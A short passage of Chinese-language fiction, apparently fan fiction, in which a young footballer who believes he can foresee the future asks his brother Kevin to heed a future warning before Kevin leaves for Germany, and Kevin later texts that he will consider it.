马修哭笑不得,但他再次印证了自己有预见未来的能力,他急迫地对凯文说:“哥,如果我哪天对你说要收着点踢的时候,你会不会听我的?” “?”凯文愣了一下,接着抬手捏了捏他的脸,“回去好好踢球,别想乱七八糟的。” “不是,哥,这个世界有奇迹,我也有,你相信我好吗?” “嗯,你要是有特异功能,就不会被人玩这么惨了。” “……”马修被他噎的哑口无言。 凯文和爸爸妈妈拥抱告别,坐上了去往德国的车。 马修也要回根特了。 他躺在宿舍的床上回忆这段时间都发生了什么,然后闭上眼睛冥想,看看能不能看到一些未来的画面。 这时手机响了一声,他拿起来,是凯文发来的简讯: 【马修,我到了,如果你叫我收着踢我会考虑的。】 马修抱着手机,嘴角微微翘起,好像被琳达敲诈的事也不叫事了,现在,他只想围着凯文转。